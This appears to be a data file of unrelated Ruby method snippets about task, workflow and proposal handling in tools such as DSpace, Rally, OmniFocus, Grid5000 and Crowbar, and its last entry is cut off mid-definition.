"def create_tasks(p)\n java_import org.dspace.storage.rdbms.DatabaseManager\n java_import org.dspace.workflow.WorkflowManager\n java_import org.dspace.storage.rdbms.TableRow\n\n # Get the workflow_ids, item_ids that aren't yet assigned to person\n sql = \"SELECT workflow_id,item_id from workflowitem WHERE workflow_id not in (SELECT workflow_id FROM TASKLISTITEM WHERE eperson_id = #{p.getID})\"\n puts sql\n\n tri = DatabaseManager.queryTable(DSpace.context, 'workflowitem', sql)\n row = DatabaseManager.row('tasklistitem')\n row.setColumn('eperson_id', p.getID)\n while (n = tri.next)\n wid = n.getIntColumn('workflow_id')\n item_id = n.getIntColumn('item_id')\n i = DItem.find(item_id)\n puts \"#{wid}\\t#{i.getName}\"\n\n row.setColumn('workflow_id', wid)\n DatabaseManager.insert(DSpace.context, row)\n end\n nil\nend",
"def assignTask()\n addtaskgui = GUIAddTask.new \n addtaskgui.exec\n end",
"def CreateTasksForDefect (aDefect, tasks)\n\n\trally = RallyRestAPI.new(:base_url => @base_url, :username => @user_name, :password => @password)\n\n query_result = rally.find(:defect) {equal :formatted_i_d, aDefect}\n\n defect = query_result.results.first\n\n tasks.each { |task|\n\n fields = {\n :work_product => defect,\n :name => task,\n :state => \"Defined\",\n :estimate => 1,\n :to_do => 1\n }\n\n rally.create(:task, fields)\n\n print aDefect + \":\" + task + \" - OK\\n\"\n }\nend",
"def execute\n new_task = Task.new(new_task_attributes)\n assign_location(new_task)\n new_task\n end",
"def paper\n task.paper\n end",
"def set_work_step\n @work_step = WorkStep.find(params[:id])\n @work_plan = @work_step.work_plan\n end",
"def resolve_task(task)\n if root_task && task.kind_of?(Roby::Task)\n root_task.plan.add(task)\n model_task = Coordination::Models::Task.new(task.model)\n script_task = instance_for(model_task)\n bind_coordination_task_to_instance(script_task, task, on_replace: :copy)\n else\n model_task = self.model.task(task)\n script_task = instance_for(model_task)\n end\n\n [script_task, model_task]\n end",
"def build_rake_step\n @rake_task << self.global_config # Open the rake Stek and get General Configuration information\n @rake_task << (self.render self.get_config_template) # get Specific Configuration. Defined in the [tool].rb module file (erb)\n @opt_parser.check_error # stop here if errors found in the configuration\n @rake_task << self.test_validation # step is already done ? Defined in the tool_template.rb file\n @rake_task << (self.render self.tool_template) # get specific Task Code. Defined in the [tool].rb module file (erb)\n @rake_task << self.write_validation # write the check file Defined in the tool_template.rb file\n @rake_task << self.close_step # To close the rake Step Defined in the tool_template.rb file\n end",
"def paper\n task.paper\n end",
"def workout\n WorkoutPlan.new(plan)\n end",
"def add_task(omnifocus_document, new_task_properties)\n\t# If there is a passed in OF project name, get the actual project object\n\tif new_task_properties['project']\n\t\tproj_name = new_task_properties[\"project\"]\n\t\tproj = omnifocus_document.flattened_tasks[proj_name]\n\tend\n\n\t# Check to see if there's already an OF Task with that name in the referenced Project\n\t# If there is, just stop.\n\tname = new_task_properties[\"name\"]\n\t#exists = proj.tasks.get.find { |t| t.name.get.force_encoding(\"UTF-8\") == name }\n\t# You can un-comment the line below and comment the line above if you want to search your entire OF document, instead of a specific project.\n\texists = omnifocus_document.flattened_tasks.get.find { |t| t.name.get.force_encoding(\"UTF-8\") == name }\n\treturn false if exists\n\n\t# If there is a passed in OF tag name, get the actual tag object\n\tif new_task_properties['tag']\n\t\ttag_name = new_task_properties[\"tag\"]\n\t\ttag = omnifocus_document.flattened_tags[tag_name]\n\tend\n\n\t# Do some task property filtering. I don't know what this is for, but found it in several other scripts that didn't work...\n\ttprops = new_task_properties.inject({}) do |h, (k, v)|\n\t\th[:\"#{k}\"] = v\n\t\th\n\tend\n\n\t# Remove the project property from the new Task properties, as it won't be used like that.\n\ttprops.delete(:project)\n\t# Update the primary tag property to be the actual tag object not the tag name\n tprops.delete(:tag)\n\ttprops[:primary_tag] = tag if new_task_properties['tag']\n\n\t# You can uncomment this line and comment the one below if you want the tasks to end up in your Inbox instead of a specific Project\n\t# new_task = omnifocus_document.make(:new => :inbox_task, :with_properties => tprops)\n\n\t# Make a new Task in the Project\n\tproj.make(:new => :task, :with_properties => tprops)\n\n\tputs \"Created task \" + tprops[:name]\n\treturn true\nend",
"def get_next_task\n sp = current_user.service_provider\n task = sp.get_next_task(belongs_to_common_pool?,belongs_to_back_office?,belongs_to_front_office?)\n if task\n task.update_attributes(:assigned_to_user_id=>sp.user.id,:assigned_by_user_id=>nil)\n flash[:notice] = t(:flash_new_task_from_queue)\n else\n flash[:error] = t(:warning_task_not_found)\n end\n redirect_to(:action => 'index')\n end",
"def workflow\n end",
"def run!\n\n if File.exist?(EXPO_METADATA) then\n previous_run_metadata = YAML::load(File.read(EXPO_METADATA))\n if previous_run_metadata[:validity] > Time.now.to_i then\n logger.info \"Reusing previous reservation\"\n ### replacing resources of the experiment ## Fix-me I have to find a cleaner way to do this\n ## reading g5k metadata\n g5k_metadata = YAML::load(File.read(Dir.glob(\".g5k*\").first))\n MyExperiment.resources.resources=YAML::load(File.read(RESOURCE_SET_FILE)).resources\n MyExperiment.jobs = g5k_metadata[:job]\n return true\n end\n end\n reset!\n\n env = self.class.defaults.dup\n ### copying some variables defined by the user\n env[:environment] = @environment\n env[:walltime] = @walltime\n env[:resources] = @resources\n env[:name] = @name\n\n env[:public_key] = @public_key unless @public_key.nil?\n\n unless @jobs_id.empty? then\n env[:no_submit] = true\n end\n\n envs=[]\n\n nodes = []\n\n change_dir do\n # I separate the deployment part from the submission part.\n ## if the environment is not defined we do just the reservation part\n reserve_log_msg =\"[ Expo Engine Grid5000 API ] \"\n if env[:environment].nil?\n ### Timing the reservation part\n start_reserve=Time::now()\n\n env = execute_with_hooks(:reserve!,env) do |env|\n\n env[:nodes] = env[:job]['assigned_nodes']\n\n synchronize{\n nodes.push(env[:nodes]).flatten!\n\n }\n\n # if @wait then\n\n # end\n\n end # reserve!\n\n #env[:parallel_reserve].loop!\n\n end_reserve=Time::now()\n logger.info reserve_log_msg +\"Total Time Spent waiting for resources #{end_reserve-start_reserve} secs\"\n ###############################\n else#if the deployment is defined we do as g5k-campaign\n ### Timing deployment part\n start_deploy=Time::now()\n ### Default user management root\n env = execute_with_hooks(:reserve!, env) do |env|\n\n env[:nodes] = env[:job]['assigned_nodes']\n\n env = execute_with_hooks(:deploy!, env) do |env|\n env[:nodes] = env[:deployment]['result'].reject{ |k,v|\n v['state'] != 'OK'\n }.keys.sort\n\n synchronize { nodes.push(env[:nodes]).flatten! }\n\n if defined? env[:job]['resources_by_type']['vlans'][0]\n # I have to redifined the resource Set.\n # MyExperiment.each do |node| ### Need to check this part is using the all resource Set\n # node.name =\n # \"#{node.name.split('.')[0]}-kavlan-#{env[:job]['resources_by_type']['vlans'][0]}.#{node.properties[:site]}.grid5000.fr\"\n # end\n end\n end#deploy!\n end#reserv!\n end_deploy=Time::now()\n logger.info reserve_log_msg +\"Total Time Spent deploying #{end_deploy-start_deploy}\"\n end# if environment\n\n ### Deletes the resources from the Resource Set that had problems in the deployment fase ####\n # $all.delete_if { |resource|\n # not nodes_deployed.include?(resource.name)\n #}\n\n ##########################\n\n end #change_dir\n return env\n end",
"def create_new_work(params)\n @log.info 'Configuring work attributes'\n\n # set depositor\n depositor = User.find_by_user_key(@config['depositor'])\n raise 'User ' + @config['depositor'] + ' not found.' if depositor.nil?\n\n # set noid\n id = Noid::Rails::Service.new.minter.mint\n\n # set resource type\n resource_type = 'Thesis'\n unless params['resource_type'].first.nil?\n resource_type = params['resource_type'].first\n end\n\n # set visibility\n if params.key?('embargo_release_date')\n params['visibility_after_embargo'] = 'open'\n params['visibility_during_embargo'] = 'authenticated'\n else\n params['visibility'] = 'open'\n end\n\n # set admin set to deposit into\n unless @config['admin_set_id'].nil?\n params['admin_set_id'] = @config['admin_set_id']\n end\n\n # set campus\n params['campus'] = [@config['campus']]\n\n @log.info 'Creating a new ' + resource_type + ' with id:' + id\n\n if @config['type_to_work_map'][resource_type].nil?\n raise 'No mapping for ' + resource_type\n end\n\n model_name = @config['type_to_work_map'][resource_type]\n\n # student research but with a label that is otherwise Publication\n if params['degree_level'] || params['advisor']\n model_name = 'Thesis'\n end\n\n # create the actual work based on the mapped resource type\n model = Kernel.const_get(model_name)\n work = model.new(id: id)\n work.update(params)\n work.apply_depositor_metadata(depositor.user_key)\n work.save\n\n work\nend",
"def create_workflow_tasks(epeople)\n epeople.each do |eperson|\n table_row = Java::OrgDspaceStorageRdbms::DatabaseManager.row('tasklistitem')\n table_row.setColumn('eperson_id', eperson.getID)\n table_row.setColumn('workflow_id', id)\n Java::OrgDspaceStorageRdbms::DatabaseManager.insert(self.class.kernel.context, table_row)\n\n self.class.kernel.commit\n\n self.state = Java::OrgDspaceWorkflow::WorkflowManager::WFSTATE_STEP1POOL\n update\n end\n end",
"def find_work\n\n end",
"def create_proposal\n @logger.debug(\"hadoop create_proposal: entering\")\n base = super\n\n # Compute the hadoop cluster node distribution.\n # You need at least 3 nodes (secondary name node, master name node\n # and slave node) to implement a baseline hadoop framework. The edge\n # node is added if the node count is 4 or higher.\n secondary = []\n master = []\n edge = []\n slaves = []\n\n # Get the node list, find the admin node, put the hadoop secondary name node\n # on the crowbar admin node (as specified by the RA) and delete the admin\n # node from the array.\n nodes = NodeObject.all\n nodes.each do |n|\n if n.nil?\n nodes.delete(n)\n next\n end\n if n.admin?\n secondary << n[:fqdn] if n[:fqdn]\n nodes.delete(n)\n end\n end\n\n # Add the master, slave and edge nodes.\n if nodes.size == 1\n master << nodes[0][:fqdn] if nodes[0][:fqdn]\n elsif nodes.size == 2\n master << nodes[0][:fqdn] if nodes[0][:fqdn]\n slaves << nodes[1][:fqdn] if nodes[1][:fqdn]\n elsif nodes.size == 3\n master << nodes[0][:fqdn] if nodes[0][:fqdn]\n slaves << nodes[1][:fqdn] if nodes[1][:fqdn]\n edge << nodes[2][:fqdn] if nodes[2][:fqdn]\n elsif nodes.size > 3\n master << nodes[0][:fqdn] if nodes[0][:fqdn]\n slaves << nodes[1][:fqdn] if nodes[1][:fqdn]\n edge << nodes[2][:fqdn] if nodes[2][:fqdn]\n nodes[3 .. nodes.size].each { |n|\n slaves << n[:fqdn] if n[:fqdn]\n }\n end\n\n # Add the proposal deployment elements\n base[\"deployment\"][\"hadoop\"][\"elements\"] = { }\n base[\"deployment\"][\"hadoop\"][\"elements\"][\"hadoop-masternamenode\"] = master if master && !master.empty?\n base[\"deployment\"][\"hadoop\"][\"elements\"][\"hadoop-secondarynamenode\"] = secondary if secondary && !secondary.empty?\n base[\"deployment\"][\"hadoop\"][\"elements\"][\"hadoop-edgenode\"] = edge if edge && !edge.empty?\n base[\"deployment\"][\"hadoop\"][\"elements\"][\"hadoop-slavenode\"] = slaves if slaves && !slaves.empty?\n\n # @logger.debug(\"hadoop create_proposal: #{base.to_json}\")\n @logger.debug(\"hadoop create_proposal: exiting\")\n base\n end",
"def get_task\n @task = Task.find(params[:task_id])\n @assignment = Assignment.find(@task.assignment_id)\n end",
"def get_next_task(is_cpa, belongs_to_back_office, belongs_to_front_office)\n skills_array = []\n comm_task = []\n cond = ''\n users_skills = self.user.work_subtypes\n skills_array = users_skills.map(&:id)\n skills = skills_array.blank? ? 0 : skills_array.join(',')\n if is_cpa || belongs_to_back_office\n cond = \"work_subtype_id in (#{skills}) and assigned_to_user_id IS NULL and ( status is null or status != 'complete') and (repeat IS NULL or repeat = '')\"\n end\n if belongs_to_front_office\n lawyer_array = self.assign_lawfirm_users.map(&:id)\n l_array = lawyer_array.blank? ? 0 : lawyer_array.join(',')\n cond = \"work_subtype_id in (#{skills}) and assigned_by_employee_user_id in (#{l_array}) and assigned_to_user_id is null and ( status is null or status != 'complete') and (repeat IS NULL or repeat = '')\"\n end\n comm_task = UserTask.find(:all, :order => 'due_at', :include => [:work_subtype_complexity], :conditions=>cond).compact\n comm_task.each do |task|\n if task.is_back_office_task?\n user_complexity_level = self.user.work_subtype_complexities.find(:first, :conditions=> ['work_subtype_complexities.work_subtype_id = ?', task.work_subtype_id]).complexity_level rescue 0\n task_complexity_level = task.work_subtype_complexity.complexity_level rescue 0\n comm_task.delete(task) if task_complexity_level > user_complexity_level\n end\n end\n comm_task.first\n end",
"def create_successor_task()\n\n tsk = WorkflowTask.new\n tsk.owner_id = owner_id\n tsk.workflow_task_type_id = workflow_task_type_id\n tsk.target_id = target_id\n\n return tsk\n end",
"def create_proposal\n @logger.debug(\"Quantum create_proposal: entering\")\n base = super\n\n nodes = NodeObject.all\n nodes.delete_if { |n| n.nil? or n.admin? }\n if nodes.size >= 1\n base[\"deployment\"][\"quantum\"][\"elements\"] = {\n \"quantum-server\" => [ nodes.first[:fqdn] ]\n }\n end\n\n base[\"attributes\"][\"quantum\"][\"mysql_instance\"] = \"\"\n begin\n mysqlService = MysqlService.new(@logger)\n mysqls = mysqlService.list_active[1]\n if mysqls.empty?\n # No actives, look for proposals\n mysqls = mysqlService.proposals[1]\n end\n if mysqls.empty?\n base[\"attributes\"][\"quantum\"][\"database\"] = \"sqlite\"\n else\n base[\"attributes\"][\"quantum\"][\"mysql_instance\"] = mysqls[0]\n base[\"attributes\"][\"quantum\"][\"database\"] = \"mysql\"\n end\n rescue\n base[\"attributes\"][\"quantum\"][\"database\"] = \"sqlite\"\n @logger.info(\"Quantum create_proposal: no mysql found\")\n end\n\n @logger.debug(\"Quantum create_proposal: exiting\")\n base\n end",
"def test_edit_a_task_add_new_function_part\n results = Task.editExistingTask(\"#{MyApp.settings.root}/tests/unit/tasks_test_model_file.txt\", \"i\", \"Bob\", \"Run the Roomba\", \"28373316\")\n assert_equal(nil, results)\n end",
"def task\n Camunda::Task.find_by_business_key_and_task_definition_key! business_key, task_key\n end",
"def testNominalWithRN\n setupTest do |iTasksFileName, iTicketsFileName|\n $Context[:OS_ExecAnswers] = [\n # svn co => success\n [ 0, '' ],\n # deliver => success, generating files\n [ 0, '', @@Generator_SingleDummyGemWithRN ]\n ]\n executeProcess(\n [\n '--user', 'ReleaseUser',\n '--branch', 'BranchName',\n '--comment', 'ReleaseComment',\n '--version', '0.0.1.20100317',\n '--tasksfile', iTasksFileName,\n '--ticketsfile', iTicketsFileName,\n '--svnco', 'MySVNRep',\n '--deliver', 'deliver %{DeliverablesDir}'\n ]\n ) do |iError, iSlaveActions|\n checkCallsMatch(\n [\n [ 'query', 'svn co MySVNRep' ],\n [ 'query', /^deliver .*$/ ]\n ],\n $Variables[:OS_Exec]\n )\n assert_equal( @@CommonSlaveActions.merge(\n {\n Tools::FilesManager => {\n Actions::File_Upload => [\n [ WEACE::Master::TransferFile.new(\"#{$Variables[:DeliverableDir]}/Releases/All/Gem/DummyGem.gem\"), 'All', 'Gem', 'BranchName', '0.0.1.20100317', 'ReleaseUser', 'ReleaseComment' ]\n ],\n Actions::File_UploadReleaseNote => [\n [ WEACE::Master::TransferFile.new(\"#{$Variables[:DeliverableDir]}/ReleaseNotes/DummyGemReleaseNote.html\"), 'html', 'BranchName', '0.0.1.20100317', 'ReleaseUser', 'ReleaseComment' ]\n ]\n }\n } ),\n iSlaveActions\n )\n end\n end\n end",
"def CreateTasksForUserStory (aUserStory, tasks)\n\n\trally = RallyRestAPI.new(:base_url => @base_url, :username => @user_name, :password => @password)\n\n\tquery_result = rally.find(:hierarchical_requirement) {equal :formatted_i_d, aUserStory}\n\n\tuserStory = query_result.results.first\n\n\ttasks.each { |task| \n\n\t\tfields = {\n\t\t\t :work_product => userStory,\n\t\t\t :name => task,\n\t\t\t :state => \"Defined\",\n\t\t\t :estimate => 1,\n\t\t\t :to_do => 1\n\t\t}\n\n\t\trally.create(:task, fields)\n\n\t\tprint aUserStory + \":\" + task + \" - OK\\n\"\n\t}\nend",
"def set_solution\n # @solution = Solution.find(params[:id])\n @solution = @goal.solutions.find(params[:id])\n end",
"def run_intelligent_assignment\n priority_info = []\n assignment = Assignment.find_by(id: params[:id])\n topics = assignment.sign_up_topics\n teams = assignment.teams\n teams.each do |team|\n # grab student id and list of bids\n bids = []\n topics.each do |topic|\n bid_record = Bid.find_by(team_id: team.id, topic_id: topic.id)\n bids << (bid_record.nil? ? 0 : bid_record.priority ||= 0)\n end\n team.users.each {|user| priority_info << {pid: user.id, ranks: bids} if bids.uniq != [0] }\n end\n data = {users: priority_info, max_team_size: assignment.max_team_size}\n url = WEBSERVICE_CONFIG[\"topic_bidding_webservice_url\"]\n begin\n response = RestClient.post url, data.to_json, content_type: :json, accept: :json\n # store each summary in a hashmap and use the question as the key\n teams = JSON.parse(response)[\"teams\"]\n create_new_teams_for_bidding_response(teams, assignment)\n run_intelligent_bid(assignment)\n rescue StandardError => err\n flash[:error] = err.message\n end\n redirect_to controller: 'tree_display', action: 'list'\n end",
"def set_task\n @task = Task.find(params[:id])\n@project = Project.where(id: params[:id]).first\n end",
"def testNominalWithSeveralRN\n setupTest do |iTasksFileName, iTicketsFileName|\n $Context[:OS_ExecAnswers] = [\n # svn co => success\n [ 0, '' ],\n # deliver => success, generating files\n [ 0, '', @@Generator_SingleDummyGemWithSeveralRN ]\n ]\n executeProcess(\n [\n '--user', 'ReleaseUser',\n '--branch', 'BranchName',\n '--comment', 'ReleaseComment',\n '--version', '0.0.1.20100317',\n '--tasksfile', iTasksFileName,\n '--ticketsfile', iTicketsFileName,\n '--svnco', 'MySVNRep',\n '--deliver', 'deliver %{DeliverablesDir}'\n ]\n ) do |iError, iSlaveActions|\n checkCallsMatch(\n [\n [ 'query', 'svn co MySVNRep' ],\n [ 'query', /^deliver .*$/ ]\n ],\n $Variables[:OS_Exec]\n )\n assert_equal( @@CommonSlaveActions.merge(\n {\n Tools::FilesManager => {\n Actions::File_Upload => [\n [ WEACE::Master::TransferFile.new(\"#{$Variables[:DeliverableDir]}/Releases/All/Gem/DummyGem.gem\"), 'All', 'Gem', 'BranchName', '0.0.1.20100317', 'ReleaseUser', 'ReleaseComment' ]\n ],\n Actions::File_UploadReleaseNote => [\n [ WEACE::Master::TransferFile.new(\"#{$Variables[:DeliverableDir]}/ReleaseNotes/DummyGemReleaseNote.html\"), 'html', 'BranchName', '0.0.1.20100317', 'ReleaseUser', 'ReleaseComment' ],\n [ WEACE::Master::TransferFile.new(\"#{$Variables[:DeliverableDir]}/ReleaseNotes/DummyGemReleaseNote.txt\"), 'txt', 'BranchName', '0.0.1.20100317', 'ReleaseUser', 'ReleaseComment' ]\n ]\n }\n } ),\n iSlaveActions\n )\n end\n end\n end",
"def create\n visit(CentralAdmin).create_institutional_proposal\n on ProposalLogLookup do |look|\n look.proposal_number.set @proposal_number\n look.search\n look.select_item @proposal_number\n end\n on InstitutionalProposal do |create|\n create.expand_all\n @document_id=create.document_id\n @doc_header=create.doc_title\n @proposal_number=create.institutional_proposal_number\n fill_out create, :proposal_type, :award_id, :activity_type, :project_title, :description\n set_sponsor_code\n create.save\n end\n if @proposal_log && $current_page.errors.size==0\n pi = make ProjectPersonnelObject, principal_name: @proposal_log.principal_investigator,\n full_name: @proposal_log.pi_full_name,\n document_id: @document_id,\n lookup_class: @lookup_class,\n search_key: @search_key,\n doc_header: @doc_header\n @project_personnel << pi\n view :contacts\n @project_personnel.principal_investigator.set_up_units\n end\n end",
"def description\n \"This is an example Tapir task. It associates a random host with the calling entity.\"\nend",
"def set_task\n @task = Task.find(params[:id]) # OG\n end",
"def set_produce_task\n @produce_task = ProduceTask.find(params[:id])\n end",
"def find_initial_task_basis_plan\n kill_one_artificial until status.got_task?\n BasisPlan.new optimal_plan_real_part, real_task_basis\n end",
"def work\n\t\tsuper\n\t\t@story = @work\n\tend",
"def task\n end",
"def step\n log_iteration_start\n\n\n @current_task = tasks_list.shift\n status.no_tasks! and return unless current_task #empty tasks list\n\n solve_current_task\n\n return unless current_basis_plan # no optimal plan, so we don't change record and continue\n\n if current_target_function <= record # not interested as previsous record is higher\n status.target_less_than_record!\n elsif task.satisfies_integer?(current_basis_plan)\n change_record\n else\n split_current_task\n end\n log_status\n end",
"def set_personal_task\n @personal_task = PersonalTask.find(params[:id])\n end",
"def mark_task_as_complete\n @task = EvaluateProposal.find( params[:id] )\n @proposal = Proposal.find(params[:proposal])\n\n # first, mark our proposal\n if params[:proposal_state] == \"accepted\"\n @proposal.accept!\n else\n @proposal.reject!\n end\n\n # and modify the task\n @task.complete\n @task.save\n redirect_to :action => \"index\"\n end",
"def description\n \"This task hits the corpwatch API and adds detail for the organization.\"\nend",
"def perform(xlsx_file)\n Solution.destroy_all\n\n xlsx = Roo::Spreadsheet.open(xlsx_file)\n xlsx.default_sheet = xlsx.sheets[1]\n\n (3..xlsx.last_row).each do |row|\n record = xlsx.row(row)\n\n # attributes with _ are pending\n solution = Solution.create(\n number: record[0],\n # _sector: record[1],\n # _subsector: record[2],\n title: record[3],\n description: record[4],\n solution_of: solution_of_helper(record[5]),\n guiding_public_policies: record[6],\n technical_references: record[7],\n examples_of_municipal_application: record[8],\n applicable_regions: applicable_regions_helper(record[9]),\n applicable_population_ranges: applicable_population_ranges_helper(record[10]),\n fundamental_sector: fundamental_sector_helper(record[11]),\n impact_on_emissions: impact_on_emissions_helper(record[12]),\n action_category: record[13],\n sustainable_development_goals: sustainable_development_goals_helper(record[14]),\n environmental_cobenefits: record[15],\n social_cobenefits: record[16],\n economic_cobenefits: record[17],\n sphere: sphere_helper(record[18]),\n municipal_operating_mode: record[19],\n alignment_with_ndc: record[20],\n necessary_investment: record[21],\n financing: record[22],\n key_actors: record[23],\n challenges: record[24],\n implementation_time: record[25]\n )\n end\n end",
"def perform(*args)\n user_id, task_id, task_type, empirical_value, obi, from = args[0][0][0], args[0][0][1], args[0][0][2], args[0][0][3], args[0][0][4], args[0][0][5]\n empirical_value = empirical_value.to_i\n obi = obi.to_i\n user = Core::User.find_by(id: user_id)\n return p \"#{Time.now}————————>error---------------->用户不对!\" unless user.present?\n size = Core::TaskAward.where(user_id: user_id, task_type: task_type).where(\"created_at > ? \", Time.now.beginning_of_day.to_s(:db)).size\n case task_type\n when 'Shop::DynamicComment'\n if size <= 50\n Core::TaskAward.create(user_id: user_id, task_id: task_id, task_type: task_type, empirical_value: empirical_value, obi: obi, from: from )\n user.update(empirical_value: user.empirical_value+empirical_value, obi: user.obi+obi)\n end\n comment = Shop::DynamicComment.find_by(id: task_id)\n comment.dynamic.topic.shop_task.get_obi user\n comment.dynamic.topic.shop_task.increment!(:participants)\n when 'Shop::VoteResult'\n if size <= 50\n Core::TaskAward.create(user_id: user_id, task_id: task_id, task_type: task_type, empirical_value: empirical_value, obi: obi, from: from )\n user.update(empirical_value: user.empirical_value+empirical_value, obi: user.obi+obi)\n end\n vote_result = Shop::VoteResult.find_by(id: task_id)\n vote_result.resource.topic.shop_task.get_obi user\n vote_result.resource.topic.shop_task.increment!(:participants)\n when 'Shop::TopicDynamic'\n topic = Shop::TopicDynamic.find_by(id: task_id).topic\n if from.match(/._share/)\n topic.shop_task.share_state[\"#{Shop::Topic}:#{user.id}\"] += 1\n share_size = Core::TaskAward.where(user_id: user_id, task_type: task_type).where(\"`from` like '%_share' AND created_at > ? \", Time.now.beginning_of_day.to_s(:db)).size #分享次数\n\n if share_size < 20\n Core::TaskAward.create(user_id: user_id, task_id: task_id, task_type: task_type, empirical_value: empirical_value, obi: obi, from: from)\n user.update(empirical_value: user.empirical_value+empirical_value, obi: user.obi+obi)\n end\n end\n #创建动态\n create_size = Core::TaskAward.where(user_id: user_id, task_type: task_type, from: \"create_topic_dynamic\").where(\"created_at > ? \", Time.now.beginning_of_day.to_s(:db)).size\n #点赞\n like_size = Core::TaskAward.where(user_id: user_id, task_type: task_type, from: \"self\").where(\"created_at > ? \", Time.now.beginning_of_day.to_s(:db)).size\n #被别人点赞次数\n liked_size = Core::TaskAward.where(user_id: user_id, task_type: task_type, from: \"other\").where(\"created_at > ? \", Time.now.beginning_of_day.to_s(:db)).size\n\n if (from == 'self' && like_size <= 5) || (from == 'other' && liked_size <= 50) || from == 'create_topic_dynamic' && create_size <= 5\n Core::TaskAward.create(user_id: user_id, task_id: task_id, task_type: task_type, empirical_value: empirical_value, obi: obi, from: from )\n user.update(empirical_value: user.empirical_value+empirical_value, obi: user.obi+obi)\n end\n if from == 'self' || from == \"create_topic_dynamic\"\n topic.shop_task.get_obi user\n topic.shop_task.increment!(:participants)\n end\n when 'Shop::Comment'\n if size <= 50\n Core::TaskAward.create(user_id: user_id, task_id: task_id, task_type: task_type, empirical_value: empirical_value, obi: obi, from: from )\n user.update(empirical_value: user.empirical_value+empirical_value, obi: user.obi+obi)\n end\n comment = Shop::Comment.find_by(id: task_id)\n comment.task.shop_task.get_obi user\n comment.task.shop_task.increment!(:participants)\n when 'Shop::FundingOrder'\n if size <= 50\n Core::TaskAward.create(user_id: user_id, task_id: task_id, task_type: task_type, empirical_value: empirical_value, obi: obi, from: from )\n user.update(empirical_value: user.empirical_value+empirical_value, obi: user.obi+obi)\n end\n order = Shop::FundingOrder.find_by(id: task_id)\n task = order.owhat_product.shop_task\n #task.increment!(:participants)\n task.get_obi(user)\n when 'Shop::Order'\n if size <= 50\n Core::TaskAward.create(user_id: user_id, task_id: task_id, task_type: task_type, empirical_value: empirical_value, obi: obi, from: from)\n user.update(empirical_value: user.empirical_value+empirical_value, obi: user.obi+obi)\n end\n order = Shop::Order.find_by(id: task_id)\n order.order_items.each do |item|\n #item.owhat_product.shop_task.increment!(:participants)\n item.owhat_product.shop_task.get_obi(user)\n end\n when 'Core::User', 'Core::Star', 'Qa::Poster', \"Shop::Event\", \"Shop::Product\", \"Shop::Topic\", \"Shop::Media\", \"Shop::Subject\", \"Shop::Funding\"\n if from.match(/._share/)\n if task_type != 'Core::User' && task_type != 'Core::Star'\n task = eval(task_type).find_by(id: task_id).shop_task\n task.share_state[\"#{task.shop_type}:#{user.id}\"] += 1\n task.get_obi(user, type: 'share')\n end\n share_size = Core::TaskAward.where(user_id: user_id, task_type: task_type).where(\"`from` like '%_share' AND created_at > ? \", Time.now.beginning_of_day.to_s(:db)).size\n if share_size < 20\n Core::TaskAward.create(user_id: user_id, task_id: task_id, task_type: task_type, empirical_value: empirical_value, obi: obi, from: from)\n user.update(empirical_value: user.empirical_value+empirical_value, obi: user.obi+obi)\n end\n else\n #发任务暂时不送O元 包含媒体任务参与 打卡任务\n if task_type != 'Core::User' && task_type != 'Core::Star'\n task = eval(task_type).find_by(id: task_id).shop_task\n task.get_obi user\n task.increment!(:participants)\n end\n Core::TaskAward.create(user_id: user_id, task_id: task_id, task_type: task_type, empirical_value: empirical_value, obi: obi, from: from)\n user.update(empirical_value: user.empirical_value+empirical_value, obi: user.obi+obi)\n end\n end\n\n level, obi = user.update_obi_and_empirical_value(user.empirical_value, user)\n unless user.level == level\n Core::TaskAward.create(user_id: user_id, task_id: user.id, task_type: user.class, empirical_value: 0, obi: (obi - user.obi), from: 'level_up')\n user.update(level: level, obi: obi)\n end\n end",
"def review_task \n\t\t@data[:task_approver] = @task.approver.try(:full_name)\n\t\t@data[:task_name] = @task.title\n @data[:task_type] = @task.class.to_s.downcase\n\t\t@data[:task_owner] = @task.assigned_to.try(:full_name)\n\t\t@data[:recipient_names] = recipient_names\n @template_slug = APOSTLE_MAIL_TEMPLATE_SLUG[:review_task]\n\t\ttrigger_mail\n\tend",
"def create_proposal(title, oversight_department, admin_org, opts={})\n \n lo_cat = \"Scientific method\"\n lo_cat_text = \"LO Cat Text\"\n \n defaults = {\n :propose_person => '%%_username%%', #user the dynvar from users.csv\n :mode => 'blank',\n :nav_homepage => true,\n :submit => true,\n :append_unique_id => false, #tell tsung to append unique id on title\n :instructor => 'fred', #BUG - HARDCODED - can't use dynvar though because of ajax search\n :collaborator => @request.config.directory[\"users\"][\"collaborator\"][\"username\"],\n :first_expected_offering => @request.config.directory[\"atp\"][\"name\"],\n :subject_area => \"BSCI\",\n :oversight_dept_number => \"65\", #BUG - right now hardcoded to BSCI, search that returned this was removed\n :course_suffix => \"123\",\n :course_short_title => \"Perf Course\",\n :course_title => title,\n :course_description => \"My fake description.\",\n :course_rationale => \"My fake rationale.\",\n :lo_create => FALSE,\n :lo_category => lo_cat,\n :lo_cat_text => lo_cat_text,\n :lo_name => @request.config.directory[\"lo\"][\"name\"],\n :admin_dep_var_name => \"admin_dep_org_id\",\n :admin_dep_var_regexp => 'org.resultColumn.orgId\\\"\\,\\\"\\([^\\\"]+\\)',\n :proposal_dyn_var_name => \"proposal_id\",\n :proposal_dyn_var_regexp => '\\\"proposal\\\"\\,\\\"workflowNode\\\"\\,\\\"PreRoute\\\"\\,\\\"\\([^\\\"]+\\)',\n :proposal_doc_id_var_name => \"proposal_doc_id\",\n :proposal_doc_id_var_regexp => 'workflowId\\\"\\,\\\"\\([^\\\"]+\\)\\\"',\n :clu_ref_dyn_var_name => \"clu_ref_id\",\n :clu_ref_dyn_var_regexp => '\\\"id\\\"\\,\\\"\\([^\\\"]+\\)',\n :result_com_var_name => \"result_component_id\",\n :result_com_var_regexp => '\\\"ResultComponent 1\\\"\\,\\\"\\([^\\\"]+\\)',\n :enroll_est_var_name => \"default_enrollment_estimate_id\",\n :enroll_est_var_regexp => 'defaultEnrollmentEstimate\\\"\\,\\\"kuali.atp.duration.Week\\\"\\,\\\"Week\\\"\\,\\\"\\([^\\\"]+\\)',\n :lab_var_name => \"lab_id\",\n :lab_var_regexp => 'draft\\\"\\,\\\"unitsContentOwner\\\"\\,\\\"Lab\\\"\\,\\\"\\([^\\\"]+\\)',\n :lab_fee_id_name => 'cp_lab_fee_id',\n :lab_fee_id_regexp => 'kuali.enum.type.feeTypes.labFee\\\"\\,\\\"\\([^\\\"]+\\)',\n :revenues_id_name => 'cp_revenues_id',\n :revenues_id_regexp => 'revenues\\\"\\,\\\"\\([^\\\"]+\\)',\n :revenue_id_name => 'cp_revenue_id',\n :revenue_id_regexp => 'REVENUE\\\"\\,\\\"\\([^\\\"]+\\)',\n 